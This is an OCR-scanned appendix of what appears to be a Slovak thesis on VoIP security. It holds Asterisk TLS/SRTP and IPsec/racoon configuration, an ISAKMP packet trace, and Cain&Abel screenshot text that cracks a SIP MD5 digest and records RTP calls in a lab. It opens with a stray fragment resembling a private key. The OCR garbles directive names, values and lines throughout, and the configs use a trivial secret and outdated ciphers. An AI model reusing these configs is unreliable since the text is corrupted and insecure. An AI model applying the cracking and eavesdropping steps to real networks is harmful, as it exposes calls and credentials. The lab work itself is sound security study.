3ZxhaleUpJd/+qCeZaM4a29y5++7H2pCuJIDIJRM8i7gNw1y8NSNQ ZNgNB33YdEzKr
NGs1bcms6NKv7MjvqwVJ6ll4pzLWETXE+DFh1fyvBM0a6AU8/4q  /PHHdAcLOQJIMCY
T2cZ5EILJTIMGqWf7TAt0SjydSnVUSbXI4Esxt7PA0GAaKS6Wvd  BR/zDhn3nAxdk
rOKmnhHjwB1FuaZaljXXkLd1R6RS2PxgX37ZhnMNfbXn5ez3Cve  3HgeD/oksOibo
IAKCR2sowhJ5g/QhyTRcwInNfRc0Z/gPvFctalOAiIOOQNwrr7K 3tnaDlaZrjllp
VgL6SZn6BvT2vENhDQQThesCgYBSLYe8a6PaDG1zDiU4BFEfUfD JTsyIM3EtvN+B
ynCTxrjmuMrnsrm1pwlvLRhU2iMy0+uMCfn9Knh4ealLggeH643N  Sv9JIXw/U5sgu6
CmFaLYeaom1FbA9+p//m/j63UkV/IF97VfglreCgsGiwSdFpPBYy cgh/flVGmFCIKw
JYmMWdwKBgQCMgYVCPA+KLspM3SX/ztFrKp+uvMpymW6NvOt4rN3TgrP6/yKcfn8
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3cXak4ex5BfOBFzUygEV7yMIKFX1F45bmRWKsZVueiTzjsaMBdt  oK9vp5zNivPlIl
SZYxmWFdZ7dufUpB+XIrelGON2k25YHGAjz2YhGu8BIKKCINYHq jMQ==

A.5 Konfiguracia Asterisku s podporou TLS a SRTP

sip.conf

[general]
context=SIP_context
;canreinvite=no

disallow=all

allow=ulaw

allow=alaw

;allowguest=no ; prijat alebo od
tlsenable=yes ; zapnut server p
;tlsbindaddr=192.168.1.38:5061 ;. |P addresa na

tiscertfile=/etc/asterisk/asterisk_serv.pem ;
;register => tIs://100:asdf@192.168.1.35:5061
tiscafile=/etc/ssl/certs/ca.pem
;tlscadir=</path/to/ca/dir>
;tlsdontverifyserver=yes

[100]

context=SIP_context

type=friend

callerid="test User1"

host=dynamic ; urcuje nutnost
secret=asdf

transport=tls

encryption=yes

[200]
context=SIP_context
type=friend
callerid="test User2"
host=dynamic
secret=asdf
transport=tls
encryption=yes

extensions.conf

[SIP_context]
; Nastavenie bezpecnej signalizacie a datovej casti

exten => _X00,1,Set(CHANNEL(secure_bridge_signaling
exten => _X00,n,Set(CHANNEL(secure_bridge_media)=1)

; Vytvorenie pokusu o hovor a kontrola zlyhania
exten => _X00,n,Dial(SIP/${EXTEN?})

exten => _X00,n,Gotolf($["${HANGUPCAUSE}" = "58']?e

exten => _X00,n,Hangup

; Vypnutie poziadavky na zabezpecenie a znovu vytoc

exten => _X00,n(encrypt_fail),Set(CHANNEL(secure_br
exten => _X00,n,Set(CHANNEL (secure_bridge_media)=0)

exten => _X00,n,Dial(SIP/${EXTEN})
exten => _X00,n,Hangup

mietnut guest hovory
re prijem TLS spojenia
ktorej pocuva TLS server
Certifikacny subor (*.pem only)

registraci

)=1)

ncrypt_fail)

enie
idge_signaling)=0)
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A.6 Konfigura éné subory IPsec sluzby

ipsec-tools.conf
#!/usr/shin/setkey -f

# NOTE: Do not use this file if you use racoon with
# utility. racoon-tool will setup SAs and SPDs auto
# letc/racoon/racoon-tool.conf configuration.

#

## Flush the SAD and SPD
#

flush;

spdflush;

## Some sample SPDs for use racoon

#

spdadd 192.168.1.43 192.168.1.41 any -P out ipsec
espl/transport//require;

#

spdadd 192.168.1.41 192.168.1.43 any -P in ipsec
esp/transport//require;

#

spdadd 192.168.1.43 192.168.1.42 any -P out ipsec
espl/transport//require;

#

spdadd 192.168.1.42 192.168.1.43 any -P in ipsec
esp/transport//require;

racoon.conf

path pre_shared_key "/etc/racoon/psk.txt";
path certificate "/etc/racoon/certs";
#log debug;

remote 192.168.1.42 {

exchange_mode main,aggressive;

proposal {
encryption_algorithm 3des;
hash_algorithm shail;
authentication_method pre_shared_ke
#authentication_method rsasig;
dh_group modp1024;

generate_policy off;

}
remote 192.168.1.41 {
exchange_mode main,aggressive;
# certificate_type x509 "host2cert.pem" "host
proposal {
encryption_algorithm 3des;
hash_algorithm shail;
authentication_method pre_shared_ke
#authentication_method rsasig;
dh_group modp1024;

generate_policy off;

}

#sainfo address 192.168.203.10[any] any address 192

sainfo anonymous {

# pfs_group modp1024;
encryption_algorithm 3des;
authentication_algorithm hmac_shai;
compression_algorithm deflate;

racoon-tool
matically using

2key.pem";

.168.22.0/24[any] any {
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A.7 Priebeh IPsec hovoru s prvotnou vymenou SADaS  PD pomocou

ISAKMP
Time 192, 168.1.39 Asterisk 192, 1628.1.41 Comment

Host 1 192,163.1.43 Host 2
0,000 Identity Protectign ISAKMP: Identity Protection (Main Mode)
0,028 Igentity Protection ISAKMP: Identity Protection (Main Mode)
0,031 Identity Protectign ISAKMP: Identity Protection (Main Mode)
0,049 Igentity Protection ISAKMP: Identity Protection (Main Mode)
0,049 Identity Protectign ISAKMP: Identity Protection (Main Mode)
0,050 Igentity Protection ISAKMP: Identity Protection (Main Mode)
0,050 JInformational ISAKMP: Informational
0,052 __ Duick Mode ISAKMP: Quick Mode
0,053 « Duick Mode ISAKMP: Quick Mode
0,054 ESP (SPI=0n0eS51ef6a ESP: ESP (SPI=0x0e51e76a)
0,056 __ Duick Mode ISAKMP: Quick Mode
0,500 ESP {5PI=0x0e51efba ESP: ESP (SPI=0x0e51e76a)
0,501 ESP (SPI=0x6cf4f3bd ESP: ESP (SPI=0x6cF4F3bd)
0,502 ESP (SPI=0x0e5lefba ESP: ESP (SPI=0x0e51e76a)
0,503 ESP {SPI=0x0e51ej6a ESP: ESP (SPI=0x0e51a76a)
0,506 ESP (SPI=0x6cf4F3bd ESP: ESP (SPI=0x6cf3F3bd)
0,506 Identity Protectign ISAKMP: Identity Protection (Main Mode)
0,515 Igentity Protection ISAKMP: Identity Protection (Main Mode)
0,516 Identity Protectign ISAKMP: Identity Protection (Main Mode)
0,546 Igentity Protection ISAKMP: Identity Protection (Main Mode)
0,553 Identity Protectign ISAKMP: Identity Protection (Main Mode)
0,555 Igentity Protection ISAKMP: Identity Protection (Main Mode)
0,555 Informational ISAKMP: Informational
1,558 Quick Mode ISAKMP: Quick Mode
1,560 +—Quick Mode ISAKMP: Quick Mode
1,569 __ Quick Mode ISAKMP: Quick Mode
1,569 « Duick Mode ISAKMP: Quick Mode
1,569 ESP {SPI=0xd1df3997 ESP: ESP (SPI=0xd1dF2997)
1,600 ESE, (SPI=0x06eeecd? ESP: ESP (SPI=0x0Geeacd?)
1,600 ESE, (SPI=0n06eeecd? ESP: ESP (SPI=Dx06eeecd2)
1,600 ESP (SPI=0x6cf4f3bd ESP: ESP (SPI=0x6cf4F3bd)
2,051 ESE, (SPI=0n06eeecd? ESP: ESP (SPI=0x0Geeecd2)
2,951 ESP {SPI=0xd1df3997 ESD: ESP (SPI=0xd1dF2997)
2,951 ESP (SPI1=0x6cf4f3bd ESP: ESP (SPI=0x6cf4F3bd)
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B. Aplikacia Cain&Abel

B.1 Cain&Abel — deSifracia hasového algoritmu MD5

_ =lalx
File Mieww Configure  Tools Help

[Qeeom@w | +v B ymEEea®Es 07 0
& Decoders I@ Metwiork, Iﬁﬁ Sniffer I@f Cracker Iﬁ Traceroute IM ooy I[ﬁﬂ Wireless IEE) Query |

a LM & MTLM Hashes {0} ;I Realm I User Name I Password |.LIRI I Monce | REsponse I MMethod I Type

-4l NTLMVZ Hashes (0) 3 asterisk | 300 5ipi192,168.1,36  1aa3d764 | a5d31bfdzd0obcadSeb... | REGISTER | MDS
-l M5-Cache Hashes (D)

é% P files (09 Dictionary Attack x|

- JBl Cisco 105-MDS Hashes (00

T Cisco PI¥-MDS Hashes (0) - Dictioriary
B APOP-MDS Hashes (1) File | Pasition |
& CRAM-MDS Hashes (0) s C:\Pragram FileshCaintwardiists\Wwardlist bt 231573

- OSPF-MDS Hashes (0
- RIPw2-MDS Hashes (0
- YRRP-HMAC Hashes (0)
: WNC-30ES ()

M 102 Hashes (0)

""'nld MD4 Hashes (0) ~ key Rate = Optionz
-----'“sd MDS Hashes (0) | W Asls [Fassward]
- SR SHA-1 Hashes (00 T v Feverse [PASSWORD - DROWSSAP]
SR SHA-Z Hashes (0) = v Double Pazs - PassPass]
-8 RIPEMD-160 Hashes (1) | v Lowercase [PASSWIORD - password)
@j kerhS Preduth Hashes (00 ¥ Uppercase [Password - PASSWORD)
% Radius Shared-Key Hashes (0] ¥ Mum. sub. perms [Pass Pdss PaBs, . P45s. P45
-85 IKE-P3K Hashes (0 - Eurtent password [ Case pems [Pass phss paSs,. PaSs. PASS)
-2 k) M3S0L Hashes (0) | W Two numbers Hubrid Brute (Passd.. Pass99)

{71 MvSQL Hashes (0) —
--{T¥)1 Oracle Hashes (0)
{7}y Cracle THS Hashes (0) Plaintext of user 300 is asdi

: e Attacl stopped!
[ﬁ]SIP Hashesl) L 1 of 1 hashes cracked
- AR Cantures (M I

'.

4

_ost packets: 0%

B.2 Cain&Abel — odposluch RTP streamu

_ =18]:
Filz Yiew Configure Tools: Help

[awemam +9 B yvnEEaO®R 07 0
. Decoders Metwork |& Sniffer |of Cracker |83 Traceroure |EE coou |%A" Wireless Cuery
&

Started | closed | 1P1 (Codec) | 1Pz (Cadec) | 5. File

7 23(05)2010 - 22:01:39 | 2303/Z010 - 22:01:39  195,168.1,35:36560 (PCMU,BKhz,Mana) | 192,168, 1,36:19660 RTP-20100323210156917 .we
{7 23(05]2010 - 22:01:39 | 23{03/2010 - 220151 | 192,168.1,36: 16666 (PCMU,SKNz,Mana) | 192,168, 1,39:62474 (PC. ., RTP-20100323210206922  we
§23/03]2010 - 22:01:39 | 23{03/2010 - 22:01:51 | 192,168,1,35:36560 (PCMU,SKhz,Mana) | 192,168, 1,39:62474 (PC. ., RTP-20100323210206932  we
< | 1]
Q Hosts I@ PR Itf? Rauting I% Passwords lﬁ VDIPI
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C. Odkazy na pouzity freeware a software s licencio  u GPL

- ORACLE, VirtualBox general-purpose full virtualizer for x86 hardwar2009. verzia
3.0.10 r54097. <http://lwww.virtualbox.org/wiki/Dovaads>.

- DEBIAN, Free Operating System Stable official release (verzia) 5.0.4.
<http://www.debian.org/>.

- MINISIP, SIP User Agentdeveloped by Ph.D and Masters Students at thalRwastitute
of Technology (KTH Stockholm, Sweden), 2009. vermiaisip-0.7.1 + r2878. Pouzity
v kapitole 8.2. <http://www.minisip.org>.

- Cain & Abel, Password recovery tool for Microsoft Operating Syst& ONTORO, M.,
verzia v4.9.35, Pouzity v kapitole 7.2 a 7.5. phittvww.oxid.it/cain.html>.

- ETTERCAP.NG, Suite for Man in the middle attacksL&N, verzia NG-0.7.3, Pouzity v
kapitole 7.2. <http://ettercap.sourceforge.netinplep>.

- X-Lite, Popular  softphone  for  free, CounterPath Caafion 2010.
<http://www.counterpath.com/x-lite.htmlI>.

- ZOIPER, Softphone, Webphone and SIP SDK, ZolPer 2009
<http://www.zoiper.com/softphone/>.

- DSNIFF - Collection of tools for network auditing cdapenetration testing, SONG, D.,
<http://monkey.org/~dugsong/dsniff/>.

- ASTERISK SVN-group-srtp_reboot, Terry Wilson, SVNnss 2010. verzia r255206
Pouzity v kapitole 8.1 a 8.3.1.
<http://svn.digium.com/svn/asterisk/team/group/srpoot>.

- ASTERISK, SVN-group-srtp_mikey, SVN server 2009.23@nr175525, Pouzity v kapitole
8.2. <http://svn.digium.com/svn/asterisk/team/gvsrtp_mikey>.

- libSRTP, Sourceforge.net, Last update 2006, <hgtpp/sourceforge.net/download.html>.

- COLASOFT, Maximize Network Valye Colasoft Packet Builder, [on-line] 2010.
<http://www.colasoft.com/download/products/downlopdcket_builder.php>.
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